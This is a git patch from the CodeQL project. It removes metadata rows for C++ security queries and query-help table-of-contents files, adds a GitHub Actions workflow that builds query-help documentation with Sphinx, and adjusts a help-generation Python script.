-ql\cpp\ql\src\Security\CWE\CWE-120\BadlyBoundedWrite.ql,security-and-quality,Badly bounded write,cpp/badly-bounded-write,problem,error,high,reliability security external/cwe/cwe-120 external/cwe/cwe-787 external/cwe/cwe-805 -ql\cpp\ql\src\Security\CWE\CWE-131\NoSpaceForZeroTerminator.ql,security-and-quality,No space for zero terminator,cpp/no-space-for-terminator,problem,error,high,reliability security external/cwe/cwe-131 external/cwe/cwe-120 external/cwe/cwe-122 -ql\cpp\ql\src\Security\CWE\CWE-134\UncontrolledFormatString.ql,security-and-quality,Uncontrolled format string,cpp/tainted-format-string,path-problem,warning,high,reliability security external/cwe/cwe-134 -ql\cpp\ql\src\Security\CWE\CWE-134\UncontrolledFormatStringThroughGlobalVar.ql,security-and-quality,Uncontrolled format string (through global variable),cpp/tainted-format-string-through-global,path-problem,warning,high,reliability security external/cwe/cwe-134 -ql\cpp\ql\src\Security\CWE\CWE-190\ComparisonWithWiderType.ql,security-and-quality,Comparison of narrow type with wide type in loop condition,cpp/comparison-with-wider-type,problem,warning,high,reliability security external/cwe/cwe-190 external/cwe/cwe-197 external/cwe/cwe-835 -ql\cpp\ql\src\Security\CWE\CWE-190\TaintedAllocationSize.ql,security-and-quality,Overflow in uncontrolled allocation size,cpp/uncontrolled-allocation-size,path-problem,error,high,reliability security external/cwe/cwe-190 -ql\cpp\ql\src\Security\CWE\CWE-253\HResultBooleanConversion.ql,security-and-quality,Cast between HRESULT and a Boolean type,cpp/hresult-boolean-conversion,problem,error,high,security external/cwe/cwe-253 external/microsoft/C6214 external/microsoft/C6215 external/microsoft/C6216 external/microsoft/C6217 external/microsoft/C6230 -ql\cpp\ql\src\Security\CWE\CWE-327\OpenSslHeartbleed.ql,security-and-quality,Use of a version of OpenSSL with Heartbleed,cpp/openssl-heartbleed,problem,error,very-high,security external/cwe/cwe-327 external/cwe/cwe-788 -ql\cpp\ql\src\Security\CWE\CWE-468\SuspiciousAddWithSizeof.ql,security-and-quality,Suspicious add with sizeof,cpp/suspicious-add-sizeof,problem,warning,high,security external/cwe/cwe-468 -ql\cpp\ql\src\Security\CWE\CWE-676\DangerousFunctionOverflow.ql,security-and-quality,Use of dangerous function,cpp/dangerous-function-overflow,problem,error,very-high,reliability security external/cwe/cwe-242 -ql\cpp\ql\src\Security\CWE\CWE-676\DangerousUseOfCin.ql,security-and-quality,Dangerous use of 'cin',cpp/dangerous-cin,problem,error,high,reliability security external/cwe/cwe-676 -ql\cpp\ql\src\Security\CWE\CWE-676\PotentiallyDangerousFunction.ql,security-and-quality,Use of potentially dangerous function,cpp/potentially-dangerous-function,problem,warning,high,reliability security external/cwe/cwe-676 -ql\cpp\ql\src\Security\CWE\CWE-704\WcharCharConversion.ql,security-and-quality,Cast from char* to wchar_t*,cpp/incorrect-string-type-conversion,problem,error,high,security external/cwe/cwe-704 external/microsoft/c/c6276 -ql\cpp\ql\src\Security\CWE\CWE-732\UnsafeDaclSecurityDescriptor.ql,security-and-quality,Setting a DACL to NULL in a SECURITY_DESCRIPTOR,cpp/unsafe-dacl-security-descriptor,problem,error,high,security external/cwe/cwe-732 external/microsoft/C6248 -ql\cpp\ql\src\Best Practices\Likely Errors\OffsetUseBeforeRangeCheck.ql,security-and-quality,Array offset used before range check,cpp/offset-use-before-range-check,problem,warning,medium,reliability security external/cwe/cwe-120 external/cwe/cwe-125 -ql\cpp\ql\src\Critical\OverflowStatic.ql,security-and-quality,Static array access may cause overflow,cpp/static-buffer-overflow,problem,warning,medium,reliability security external/cwe/cwe-119 external/cwe/cwe-131 -ql\cpp\ql\src\Critical\SizeCheck.ql,security-and-quality,Not enough memory allocated for pointer type,cpp/allocation-too-small,problem,warning,medium,reliability security external/cwe/cwe-131 external/cwe/cwe-122 -ql\cpp\ql\src\Critical\SizeCheck2.ql,security-and-quality,Not enough memory allocated for array of pointer type,cpp/suspicious-allocation-size,problem,warning,medium,reliability security external/cwe/cwe-131 external/cwe/cwe-122 -ql\cpp\ql\src\Documentation\UncommentedFunction.ql,security-and-quality,Poorly documented large function,cpp/poorly-documented-function,problem,warning,medium,maintainability documentation statistical non-attributable -ql\cpp\ql\src\jsf\4.17 Types\AV Rule 148.ql,security-and-quality,Use of integer where enum is preferred,cpp/integer-used-for-enum,problem,warning,medium,maintainability readability language-features external/jsf -ql\cpp\ql\src\Likely Bugs\Arithmetic\BadCheckOdd.ql,security-and-quality,Bad check for oddness,cpp/incomplete-parity-check,problem,warning,medium,reliability correctness types -ql\cpp\ql\src\Likely Bugs\Conversion\LossyFunctionResultCast.ql,security-and-quality,Lossy function result cast,cpp/lossy-function-result-cast,problem,warning,medium,correctness -ql\cpp\ql\src\Likely Bugs\InconsistentCallOnResult.ql,security-and-quality,Inconsistent operation on return value,cpp/inconsistent-call-on-result,problem,warning,medium,reliability correctness statistical non-attributable external/cwe/cwe-252 -ql\cpp\ql\src\Likely Bugs\InconsistentCheckReturnNull.ql,security-and-quality,Inconsistent nullness check,cpp/inconsistent-null-check,problem,error,medium,reliability correctness statistical non-attributable external/cwe/cwe-476 -ql\cpp\ql\src\Likely Bugs\Leap Year\Adding365DaysPerYear.ql,security-and-quality,Arithmetic operation assumes 365 days per year,cpp/leap-year/adding-365-days-per-year,problem,warning,medium,leap-year correctness -ql\cpp\ql\src\Likely Bugs\Leap Year\UncheckedLeapYearAfterYearModification.ql,security-and-quality,Year field changed using an arithmetic operation without checking for leap year,cpp/leap-year/unchecked-after-arithmetic-year-modification,problem,warning,medium,leap-year correctness -ql\cpp\ql\src\Likely Bugs\Leap Year\UncheckedReturnValueForTimeFunctions.ql,security-and-quality,Unchecked return value for time conversion function,cpp/leap-year/unchecked-return-value-for-time-conversion-function,problem,warning,medium,leap-year correctness -ql\cpp\ql\src\Likely Bugs\Likely Typos\IncorrectNotOperatorUsage.ql,security-and-quality,Incorrect 'not' operator usage,cpp/incorrect-not-operator-usage,problem,warning,medium,security external/cwe/cwe-480 external/microsoft/c6317 -ql\cpp\ql\src\Likely Bugs\Likely Typos\MissingEnumCaseInSwitch.ql,security-and-quality,Missing enum case in switch,cpp/missing-case-in-switch,problem,warning,medium,reliability correctness external/cwe/cwe-478 -ql\cpp\ql\src\Likely Bugs\Memory Management\StackAddressEscapes.ql,security-and-quality,Local variable address stored in non-local memory,cpp/stack-address-escape,problem,warning,medium,reliability -ql\cpp\ql\src\Likely Bugs\Memory Management\StrncpyFlippedArgs.ql,security-and-quality,Possibly wrong buffer size in string copy,cpp/bad-strncpy-size,problem,warning,medium,reliability correctness security external/cwe/cwe-676 external/cwe/cwe-119 external/cwe/cwe-251 -ql\cpp\ql\src\Likely Bugs\Memory Management\SuspiciousCallToStrncat.ql,security-and-quality,Potentially unsafe call to strncat,cpp/unsafe-strncat,problem,warning,medium,reliability correctness security external/cwe/cwe-676 external/cwe/cwe-119 external/cwe/cwe-251 -ql\cpp\ql\src\Likely Bugs\Memory Management\SuspiciousSizeof.ql,security-and-quality,Suspicious 'sizeof' use,cpp/suspicious-sizeof,problem,warning,medium,reliability correctness security external/cwe/cwe-467 -ql\cpp\ql\src\Likely Bugs\Memory Management\UninitializedLocal.ql,security-and-quality,Potentially uninitialized local variable,cpp/uninitialized-local,problem,warning,medium,security external/cwe/cwe-665 external/cwe/cwe-457 -ql\cpp\ql\src\Likely Bugs\Memory Management\UnsafeUseOfStrcat.ql,security-and-quality,Potentially unsafe use of strcat,cpp/unsafe-strcat,problem,warning,medium,reliability correctness security external/cwe/cwe-676 external/cwe/cwe-120 external/cwe/cwe-251 -ql\cpp\ql\src\Likely Bugs\NestedLoopSameVar.ql,security-and-quality,Nested loops with same variable,cpp/nested-loops-with-same-variable,problem,warning,medium,maintainability correctness -ql\cpp\ql\src\Likely Bugs\Underspecified Functions\MistypedFunctionArguments.ql,security-and-quality,Call to a function with one or more incompatible arguments,cpp/mistyped-function-arguments,problem,warning,medium,correctness maintainability -ql\cpp\ql\src\Security\CWE\CWE-022\TaintedPath.ql,security-and-quality,Uncontrolled data used in path expression,cpp/path-injection,path-problem,warning,medium,security external/cwe/cwe-022 external/cwe/cwe-023 external/cwe/cwe-036 external/cwe/cwe-073 -ql\cpp\ql\src\Security\CWE\CWE-114\UncontrolledProcessOperation.ql,security-and-quality,Uncontrolled process operation,cpp/uncontrolled-process-operation,path-problem,warning,medium,security external/cwe/cwe-114 -ql\cpp\ql\src\Security\CWE\CWE-120\OverrunWrite.ql,security-and-quality,Potentially overrunning write,cpp/overrunning-write,problem,error,medium,reliability security external/cwe/cwe-120 external/cwe/cwe-787 external/cwe/cwe-805 -ql\cpp\ql\src\Security\CWE\CWE-120\OverrunWriteFloat.ql,security-and-quality,Potentially overrunning write with float to string conversion,cpp/overrunning-write-with-float,problem,error,medium,reliability security external/cwe/cwe-120 external/cwe/cwe-787 external/cwe/cwe-805 -ql\cpp\ql\src\Security\CWE\CWE-120\UnboundedWrite.ql,security-and-quality,Unbounded write,cpp/unbounded-write,path-problem,error,medium,reliability security external/cwe/cwe-120 external/cwe/cwe-787 external/cwe/cwe-805 -ql\cpp\ql\src\Security\CWE\CWE-121\UnterminatedVarargsCall.ql,security-and-quality,Unterminated variadic call,cpp/unterminated-variadic-call,problem,warning,medium,reliability security external/cwe/cwe-121 -ql\cpp\ql\src\Security\CWE\CWE-190\ArithmeticUncontrolled.ql,security-and-quality,Uncontrolled data in arithmetic expression,cpp/uncontrolled-arithmetic,path-problem,warning,medium,security external/cwe/cwe-190 external/cwe/cwe-191 -ql\cpp\ql\src\Security\CWE\CWE-290\AuthenticationBypass.ql,security-and-quality,Authentication bypass by spoofing,cpp/user-controlled-bypass,path-problem,warning,medium,security external/cwe/cwe-290 -ql\cpp\ql\src\Security\CWE\CWE-311\CleartextBufferWrite.ql,security-and-quality,Cleartext storage of sensitive information in buffer,cpp/cleartext-storage-buffer,path-problem,warning,medium,security external/cwe/cwe-312 -ql\cpp\ql\src\Security\CWE\CWE-311\CleartextFileWrite.ql,security-and-quality,Cleartext storage of sensitive information in file,cpp/cleartext-storage-file,problem,warning,medium,security external/cwe/cwe-313 -ql\cpp\ql\src\Security\CWE\CWE-313\CleartextSqliteDatabase.ql,security-and-quality,Cleartext storage of sensitive information in an SQLite database,cpp/cleartext-storage-database,path-problem,warning,medium,security external/cwe/cwe-313 -ql\cpp\ql\src\Security\CWE\CWE-327\BrokenCryptoAlgorithm.ql,security-and-quality,Use of a broken or risky cryptographic algorithm,cpp/weak-cryptographic-algorithm,problem,error,medium,security external/cwe/cwe-327 -ql\cpp\ql\src\Security\CWE\CWE-367\TOCTOUFilesystemRace.ql,security-and-quality,Time-of-check time-of-use filesystem race condition,cpp/toctou-race-condition,problem,warning,medium,security external/cwe/cwe-367 -ql\cpp\ql\src\Security\CWE\CWE-428\UnsafeCreateProcessCall.ql,security-and-quality,NULL application name with an unquoted path in call to CreateProcess,cpp/unsafe-create-process-call,problem,error,medium,security external/cwe/cwe-428 external/microsoft/C6277 -ql\cpp\ql\src\Security\CWE\CWE-468\IncorrectPointerScaling.ql,security-and-quality,Suspicious pointer scaling,cpp/suspicious-pointer-scaling,problem,warning,medium,security external/cwe/cwe-468 -ql\cpp\ql\src\Security\CWE\CWE-468\IncorrectPointerScalingVoid.ql,security-and-quality,Suspicious pointer scaling to void,cpp/suspicious-pointer-scaling-void,problem,warning,medium,security external/cwe/cwe-468 -ql\cpp\ql\src\Security\CWE\CWE-732\DoNotCreateWorldWritable.ql,security-and-quality,File created without restricting permissions,cpp/world-writable-file-creation,problem,warning,medium,security external/cwe/cwe-732 -ql\cpp\ql\src\Security\CWE\CWE-807\TaintedCondition.ql,security-and-quality,Untrusted input for a condition,cpp/tainted-permissions-check,path-problem,warning,medium,security external/cwe/cwe-807 -ql\cpp\ql\src\Critical\NewFreeMismatch.ql,security-extended,Mismatching new/free or malloc/delete,cpp/new-free-mismatch,problem,warning,high,reliability security external/cwe/cwe-401 -ql\cpp\ql\src\Likely Bugs\Arithmetic\BadAdditionOverflowCheck.ql,security-extended,Bad check for overflow of integer addition,cpp/bad-addition-overflow-check,problem,error,very-high,reliability correctness security external/cwe/cwe-190 external/cwe/cwe-192 -ql\cpp\ql\src\Likely Bugs\Arithmetic\IntMultToLong.ql,security-extended,Multiplication result converted to larger type,cpp/integer-multiplication-cast-to-long,problem,warning,high,reliability security correctness types external/cwe/cwe-190 external/cwe/cwe-192 external/cwe/cwe-197 external/cwe/cwe-681 -ql\cpp\ql\src\Likely Bugs\Arithmetic\SignedOverflowCheck.ql,security-extended,Signed overflow check,cpp/signed-overflow-check,problem,warning,high,correctness security -ql\cpp\ql\src\Likely Bugs\Conversion\CastArrayPointerArithmetic.ql,security-extended,Upcast array used in pointer arithmetic,cpp/upcast-array-pointer-arithmetic,path-problem,warning,high,correctness reliability security external/cwe/cwe-119 external/cwe/cwe-843 -ql\cpp\ql\src\Likely Bugs\Format\NonConstantFormat.ql,security-extended,Non-constant format string,cpp/non-constant-format,problem,recommendation,high,maintainability correctness security external/cwe/cwe-134 -ql\cpp\ql\src\Likely Bugs\Format\SnprintfOverflow.ql,security-extended,Potentially overflowing call to snprintf,cpp/overflowing-snprintf,problem,warning,high,reliability correctness security -ql\cpp\ql\src\Likely Bugs\Format\WrongNumberOfFormatArguments.ql,security-extended,Too few arguments to formatting function,cpp/wrong-number-format-arguments,problem,error,high,reliability correctness security external/cwe/cwe-685 -ql\cpp\ql\src\Likely Bugs\Format\WrongTypeFormatArguments.ql,security-extended,Wrong type of arguments to formatting function,cpp/wrong-type-format-argument,problem,error,high,reliability correctness security external/cwe/cwe-686 -ql\cpp\ql\src\Likely Bugs\Memory Management\AllocaInLoop.ql,security-extended,Call to alloca in a loop,cpp/alloca-in-loop,problem,warning,high,reliability correctness security external/cwe/cwe-770 -ql\cpp\ql\src\Likely Bugs\Memory Management\PointerOverflow.ql,security-extended,Pointer overflow check,cpp/pointer-overflow-check,problem,error,high,reliability security -ql\cpp\ql\src\Likely Bugs\Underspecified Functions\TooFewArguments.ql,security-extended,Call to function with fewer arguments than declared parameters,cpp/too-few-arguments,problem,error,very-high,correctness maintainability security -ql\cpp\ql\src\Security\CWE\CWE-079\CgiXss.ql,security-extended,CGI script vulnerable to cross-site scripting,cpp/cgi-xss,path-problem,error,high,security external/cwe/cwe-079 -ql\cpp\ql\src\Security\CWE\CWE-089\SqlTainted.ql,security-extended,Uncontrolled data in SQL query,cpp/sql-injection,path-problem,error,high,security external/cwe/cwe-089 -ql\cpp\ql\src\Security\CWE\CWE-120\BadlyBoundedWrite.ql,security-extended,Badly bounded write,cpp/badly-bounded-write,problem,error,high,reliability security external/cwe/cwe-120 external/cwe/cwe-787 external/cwe/cwe-805 -ql\cpp\ql\src\Security\CWE\CWE-131\NoSpaceForZeroTerminator.ql,security-extended,No space for zero terminator,cpp/no-space-for-terminator,problem,error,high,reliability security external/cwe/cwe-131 external/cwe/cwe-120 external/cwe/cwe-122 -ql\cpp\ql\src\Security\CWE\CWE-134\UncontrolledFormatString.ql,security-extended,Uncontrolled format string,cpp/tainted-format-string,path-problem,warning,high,reliability security external/cwe/cwe-134 -ql\cpp\ql\src\Security\CWE\CWE-134\UncontrolledFormatStringThroughGlobalVar.ql,security-extended,Uncontrolled format string (through global variable),cpp/tainted-format-string-through-global,path-problem,warning,high,reliability security external/cwe/cwe-134 -ql\cpp\ql\src\Security\CWE\CWE-190\ComparisonWithWiderType.ql,security-extended,Comparison of narrow type with wide type in loop condition,cpp/comparison-with-wider-type,problem,warning,high,reliability security external/cwe/cwe-190 external/cwe/cwe-197 external/cwe/cwe-835 -ql\cpp\ql\src\Security\CWE\CWE-190\TaintedAllocationSize.ql,security-extended,Overflow in uncontrolled allocation size,cpp/uncontrolled-allocation-size,path-problem,error,high,reliability security external/cwe/cwe-190 -ql\cpp\ql\src\Security\CWE\CWE-253\HResultBooleanConversion.ql,security-extended,Cast between HRESULT and a Boolean type,cpp/hresult-boolean-conversion,problem,error,high,security external/cwe/cwe-253 external/microsoft/C6214 external/microsoft/C6215 external/microsoft/C6216 external/microsoft/C6217 external/microsoft/C6230 -ql\cpp\ql\src\Security\CWE\CWE-327\OpenSslHeartbleed.ql,security-extended,Use of a version of OpenSSL with Heartbleed,cpp/openssl-heartbleed,problem,error,very-high,security external/cwe/cwe-327 external/cwe/cwe-788 -ql\cpp\ql\src\Security\CWE\CWE-468\SuspiciousAddWithSizeof.ql,security-extended,Suspicious add with sizeof,cpp/suspicious-add-sizeof,problem,warning,high,security external/cwe/cwe-468 -ql\cpp\ql\src\Security\CWE\CWE-676\DangerousFunctionOverflow.ql,security-extended,Use of dangerous function,cpp/dangerous-function-overflow,problem,error,very-high,reliability security external/cwe/cwe-242 -ql\cpp\ql\src\Security\CWE\CWE-676\DangerousUseOfCin.ql,security-extended,Dangerous use of 'cin',cpp/dangerous-cin,problem,error,high,reliability security external/cwe/cwe-676 -ql\cpp\ql\src\Security\CWE\CWE-676\PotentiallyDangerousFunction.ql,security-extended,Use of potentially dangerous function,cpp/potentially-dangerous-function,problem,warning,high,reliability security external/cwe/cwe-676 -ql\cpp\ql\src\Security\CWE\CWE-704\WcharCharConversion.ql,security-extended,Cast from char* to wchar_t*,cpp/incorrect-string-type-conversion,problem,error,high,security external/cwe/cwe-704 external/microsoft/c/c6276 -ql\cpp\ql\src\Security\CWE\CWE-732\UnsafeDaclSecurityDescriptor.ql,security-extended,Setting a DACL to NULL in a SECURITY_DESCRIPTOR,cpp/unsafe-dacl-security-descriptor,problem,error,high,security external/cwe/cwe-732 external/microsoft/C6248 diff --git a/docs/language/query-help/toc-cpp.rst b/docs/language/query-help/toc-cpp.rst deleted file mode 100644 index 3408acca222..00000000000 --- a/docs/language/query-help/toc-cpp.rst +++ /dev/null @@ -1,59 +0,0 @@ -.. toctree:: - :titlesonly: - - cpp/OffsetUseBeforeRangeCheck - cpp/AuthenticationBypass - cpp/BadAdditionOverflowCheck - cpp/BadlyBoundedWrite - cpp/CgiXss - cpp/AllocaInLoop - cpp/TooFewArguments - cpp/HResultBooleanConversion - cpp/WcharCharConversion - cpp/CleartextSqliteDatabase - cpp/CleartextBufferWrite - cpp/CleartextFileWrite - cpp/ComparisonWithWiderType - cpp/DangerousUseOfCin - cpp/DoNotCreateWorldWritable - cpp/IncorrectNotOperatorUsage - cpp/NewFreeMismatch - cpp/IntMultToLong - cpp/UnsafeCreateProcessCall - cpp/NoSpaceForZeroTerminator - cpp/NonConstantFormat - cpp/SizeCheck2 - cpp/SizeCheck - cpp/TaintedAllocationSize - cpp/PointerOverflow - cpp/StrncpyFlippedArgs - cpp/SnprintfOverflow - cpp/OverrunWrite - cpp/OverrunWriteFloat - cpp/UninitializedLocal - cpp/SuspiciousCallToStrncat - cpp/UnsafeUseOfStrcat - cpp/UnsafeDaclSecurityDescriptor - cpp/SignedOverflowCheck - cpp/OverflowStatic - cpp/SuspiciousSizeof - cpp/SuspiciousAddWithSizeof - cpp/IncorrectPointerScaling - cpp/IncorrectPointerScalingVoid - cpp/TOCTOUFilesystemRace - cpp/WrongNumberOfFormatArguments - cpp/UnboundedWrite - cpp/SqlTainted - cpp/ArithmeticUncontrolled - cpp/TaintedPath - cpp/UncontrolledFormatString - cpp/UncontrolledFormatStringThroughGlobalVar - cpp/UncontrolledProcessOperation - cpp/UnterminatedVarargsCall - cpp/TaintedCondition - cpp/CastArrayPointerArithmetic - cpp/BrokenCryptoAlgorithm - cpp/OpenSslHeartbleed - cpp/DangerousFunctionOverflow - cpp/PotentiallyDangerousFunction - cpp/WrongTypeFormatArguments \ No newline at end of file diff --git a/docs/language/query-help/toc-csharp.rst b/docs/language/query-help/toc-csharp.rst deleted file mode 100644 index 3f8be066531..00000000000 --- a/docs/language/query-help/toc-csharp.rst +++ /dev/null @@ -1,61 +0,0 @@ -.. toctree:: - :titlesonly: - - csharp/RequireSSL - csharp/ASPNetDirectoryListing - csharp/ZipSlip - csharp/AssemblyPathInjection - csharp/CleartextStorage - csharp/CookieWithOverlyBroadDomain - csharp/CookieWithOverlyBroadPath - csharp/PersistentCookie - csharp/ASPNetDebug - csharp/XSS - csharp/ReDoS - csharp/UnsafeDeserializationUntrustedInput - csharp/DeserializedDelegate - csharp/EmptyPasswordInConfigurationFile - csharp/Encryption using ECB - csharp/ExposureOfPrivateInformation - csharp/AbandonSession - csharp/HardcodedConnectionString - csharp/HardcodedCredentials - csharp/HeaderCheckingDisabled - csharp/CodeInjection - csharp/ExceptionInformationExposure - csharp/ExposureInTransmittedData - csharp/InsecureSQLConnection - csharp/InsecureRandomness - csharp/StoredLDAPInjection - csharp/LDAPInjection - csharp/LogForging - csharp/MissingXFrameOptions - csharp/MissingXMLValidation - csharp/MissingAntiForgeryTokenValidation - csharp/MissingASPNETGlobalErrorHandler - csharp/PasswordInConfigurationFile - csharp/RegexInjection - csharp/ResourceInjection - csharp/SecondOrderSqlInjection - csharp/SqlInjection - csharp/RuntimeChecksBypass - csharp/StoredXPathInjection - csharp/StoredXSS - csharp/ThreadUnsafeICryptoTransformLambda - csharp/ThreadUnsafeICryptoTransform - csharp/UrlRedirect - csharp/CommandInjection - csharp/StoredCommandInjection - csharp/TaintedPath - csharp/UncontrolledFormatString - csharp/UntrustedDataInsecureXml - csharp/LocalUnvalidatedArithmetic - csharp/UseOfFileUpload - csharp/ConditionalBypass - csharp/ValueShadowing - csharp/ValueShadowingServerVariable - csharp/WeakEncryption - csharp/InsufficientKeySize - csharp/InadequateRSAPadding - csharp/XMLInjection - csharp/XPathInjection \ No newline at end of file diff --git a/docs/language/query-help/toc-go.rst b/docs/language/query-help/toc-go.rst deleted file mode 100644 index 3e535c41926..00000000000 --- a/docs/language/query-help/toc-go.rst +++ /dev/null @@ -1,25 +0,0 @@ -.. toctree:: - :titlesonly: - - go/ZipSlip - go/BadRedirectCheck - go/CleartextLogging - go/CommandInjection - go/SqlInjection - go/DisabledCertificateCheck - go/EmailInjection - go/HardcodedCredentials - go/IncompleteUrlSchemeCheck - go/IncompleteHostnameRegexp - go/IncorrectIntegerConversion - go/InsecureTLS - go/MissingRegexpAnchor - go/OpenUrlRedirect - go/StringBreak - go/ReflectedXss - go/AllocationSizeOverflow - go/RequestForgery - go/TaintedPath - go/ConstantOauth2State - go/InsecureHostKeyCallback - go/XPathInjection \ No newline at end of file diff --git a/docs/language/query-help/toc-java.rst b/docs/language/query-help/toc-java.rst deleted file mode 100644 index f90aee9bc4a..00000000000 --- a/docs/language/query-help/toc-java.rst +++ /dev/null @@ -1,44 +0,0 @@ -.. toctree:: - :titlesonly: - - java/ZipSlip - java/ExecUnescaped - java/CleartextStorageCookie - java/CleartextStorageProperties - java/ComparisonWithWiderType - java/XSS - java/UnsafeDeserialization - java/NettyResponseSplitting - java/SpringCSRFProtection - java/ExecRelative - java/InsecureDependencyResolution - java/InsecureCookie - java/ResponseSplitting - java/HardcodedCredentialsApiCall - java/InformationLoss - java/ImproperValidationOfArrayIndex - java/ImproperValidationOfArrayConstruction - java/StackTraceExposure - java/LdapInjection - java/InfiniteLoop - java/SqlTainted - java/SqlUnescaped - java/SocketAuthRace - java/ReadingFromWorldWritableFile - java/XXE - java/IntMultToLong - java/TOCTOURace - java/UrlRedirect - java/ExecTainted - java/ArithmeticUncontrolled - java/TaintedPath - java/UnreleasedLock - java/BrokenCryptoAlgorithm - java/MaybeBrokenCryptoAlgorithm - java/PotentiallyDangerousFunction - java/PredictableSeed - java/ExternallyControlledFormatString - java/ConditionalBypass - java/ArithmeticTainted - java/NumericCastTainted - java/TaintedPermissionsCheck \ No newline at end of file diff --git a/docs/language/query-help/toc-javascript.rst b/docs/language/query-help/toc-javascript.rst deleted file mode 100644 index 2ae1d3f08df..00000000000 --- a/docs/language/query-help/toc-javascript.rst +++ /dev/null @@ -1,76 +0,0 @@ -.. toctree:: - :titlesonly: - - javascript/ZipSlip - javascript/CorsMisconfigurationForCredentials - javascript/CleartextStorage - javascript/CleartextLogging - javascript/ClientSideUrlRedirect - javascript/Xss - javascript/CodeInjection - javascript/BadRandomness - javascript/PostMessageStar - javascript/XssThroughDom - javascript/SqlInjection - javascript/UnsafeDeserialization - javascript/DisablingWebSecurity - javascript/DisablingSce - javascript/DisablingCertificateValidation - javascript/DoubleEscaping - javascript/InsecureDownload - javascript/AllowRunningInsecureContent - javascript/ExceptionXss - javascript/PrivateFileExposure - javascript/FileAccessToHttp - javascript/HardcodedCredentials - javascript/HardcodedDataInterpretedAsCode - javascript/HostHeaderPoisoningInEmailGeneration - javascript/ImproperCodeSanitization - javascript/IncompleteHtmlAttributeSanitization - javascript/IncompleteUrlSchemeCheck - javascript/IncompleteUrlSubstringSanitization - javascript/IncompleteMultiCharacterSanitization - javascript/IncompleteHostnameRegExp - javascript/IncompleteSanitization - javascript/IncorrectSuffixCheck - javascript/IndirectCommandInjection - javascript/ReDoS - javascript/StackTraceExposure - javascript/InsecureUrlWhitelist - javascript/InsecureRandomness - javascript/LoopBoundInjection - javascript/MissingCsrfMiddleware - javascript/MissingRateLimiting - javascript/MissingRegExpAnchor - javascript/HttpToFileAccess - javascript/PasswordInConfigurationFile - javascript/PolynomialReDoS - javascript/TargetBlank - javascript/PrototypePollution - javascript/PrototypePollutionUtility - javascript/ReflectedXss - javascript/RegExpInjection - javascript/RemotePropertyInjection - javascript/IdentityReplacement - javascript/ServerSideUrlRedirect - javascript/ShellCommandInjectionFromEnvironment - javascript/BuildArtifactLeak - javascript/StoredXss - javascript/TypeConfusionThroughParameterTampering - javascript/CommandInjection - javascript/RequestForgery - javascript/TaintedPath - javascript/UselessUseOfCat - javascript/UnsafeDynamicMethodAccess - javascript/UnsafeHtmlExpansion - javascript/UnsafeJQueryPlugin - javascript/UnsafeShellCommandConstruction - javascript/UnvalidatedDynamicMethodCall - javascript/BrokenCryptoAlgorithm - javascript/TaintedFormatString - javascript/InsufficientPasswordHash - javascript/UselessRegExpCharacterEscape - javascript/ConditionalBypass - javascript/Xxe - javascript/XmlBomb - javascript/XpathInjection \ No newline at end of file diff --git a/docs/language/query-help/toc-python.rst b/docs/language/query-help/toc-python.rst deleted file mode 100644 index d664092c900..00000000000 --- a/docs/language/query-help/toc-python.rst +++ /dev/null @@ -1,29 +0,0 @@ -.. toctree:: - :titlesonly: - - python/UseofInput - python/MissingHostKeyValidation - python/TarSlip - python/BindToAllInterfaces - python/CleartextLogging - python/CleartextStorage - python/CodeInjection - python/InsecureDefaultProtocol - python/UnsafeDeserialization - python/FlaskDebug - python/HardcodedCredentials - python/IncompleteUrlSubstringSanitization - python/IncompleteHostnameRegExp - python/StackTraceExposure - python/InsecureTemporaryFile - python/Jinja2WithoutEscaping - python/WeakFilePermissions - python/ReflectedXss - python/RequestWithoutValidation - python/SqlInjection - python/UrlRedirect - python/CommandInjection - python/PathInjection - python/BrokenCryptoAlgorithm - python/InsecureProtocol - python/WeakCrypto \ No newline at end of file From 8504724dbb54d4061ca76950f157b3b2ea679650 Mon Sep 17 00:00:00 2001 From: james Date: Mon, 26 Oct 2020 13:55:26 +0000 Subject: [PATCH 04/31] add generate-query-help workflow --- .../workflows/generate-query-help-docs.yml | 53 +++++++++++++++++++ docs/language/query-help-markdown.py | 6 +-- 2 files changed, 56 insertions(+), 3 deletions(-) create mode 100644 .github/workflows/generate-query-help-docs.yml diff --git a/.github/workflows/generate-query-help-docs.yml b/.github/workflows/generate-query-help-docs.yml new file mode 100644 index 00000000000..dc44a921adb --- /dev/null +++ b/.github/workflows/generate-query-help-docs.yml @@ -0,0 +1,53 @@ +name: Generate CodeQL documentation using Sphinx + +on: + push: + branches: + - main + - 'rc/**' + - 'lgtm.com' + pull_request: + paths: + - 'docs/language/query-help/**' + +jobs: + build: + runs-on: ubuntu-latest + steps: + - name: Clone github/codeql + uses: actions/checkout@v2 + with: + path: codeql + - name: Clone github/codeql-go + uses: actions/checkout@v2 + with: + repository: 'github/codeql-go' + path: codeql-go + - name: Set up Python 3.8 + uses: actions/setup-python@v2 + with: + python-version: 3.8 + - name: Download CodeQL CLI + uses: dsaltares/fetch-gh-release-asset@aa37ae5c44d3c9820bc12fe675e8670ecd93bd1c + with: + repo: "github/codeql-cli-binaries" + version: "latest" + file: "codeql-linux64.zip" + token: ${{ secrets.GITHUB_TOKEN }} + - name: Unzip CodeQL CLI + run: unzip -d codeql-cli codeql-linux64.zip + - name: Query help to markdown + run: | + PATH="$PATH:codeql-cli/codeql" python codeql/docs/language/query-help-markdown.py + - name: Run Sphinx for query help + uses: ammaraskar/sphinx-action@master + with: + docs-folder: "codeql/docs/language/query-help/" + pre-build-command: "python -m pip install --upgrade recommonmark" + build-command: "sphinx-build -b html . query-help-build" + - name: Upload HTML artifacts + uses: actions/upload-artifact@v2 + with: + name: query-help-html + path: query-help + diff --git a/docs/language/query-help-markdown.py b/docs/language/query-help-markdown.py index 6595f73733d..0a34ab7cf3b 100644 --- a/docs/language/query-help-markdown.py +++ b/docs/language/query-help-markdown.py @@ -6,7 +6,7 @@ import sys import os # Define which languages and query packs to consider -languages = ["cpp", "csharp", "go", "java", "javascript", "python"] +languages = ["go"] # Running generate query-help with "security-and-quality.qls" generates errors, so just use these two suites for now packs = ["code-scanning", "security-extended"] @@ -96,7 +96,7 @@ except Exception as e: # # (and assumes the codeql-go repo is in a similar location) -# codeql_search_path = "./ql" or "./codeql-go" # will be extended further down +codeql_search_path = "./codeql:./codeql-go" # will be extended further down # Extend CodeQL search path by detecting root of the current Git repo (if any). This means that you # can run this script from any location within the CodeQL git repository. @@ -105,7 +105,7 @@ try: # Current working directory is in a Git repo. Add it to the search path, just in case it's the CodeQL repo #git_toplevel_dir = git_toplevel_dir.stdout.strip() - #codeql_search_path += ":" + git_toplevel_dir + ":" + git_toplevel_dir + "/../codeql-go" + 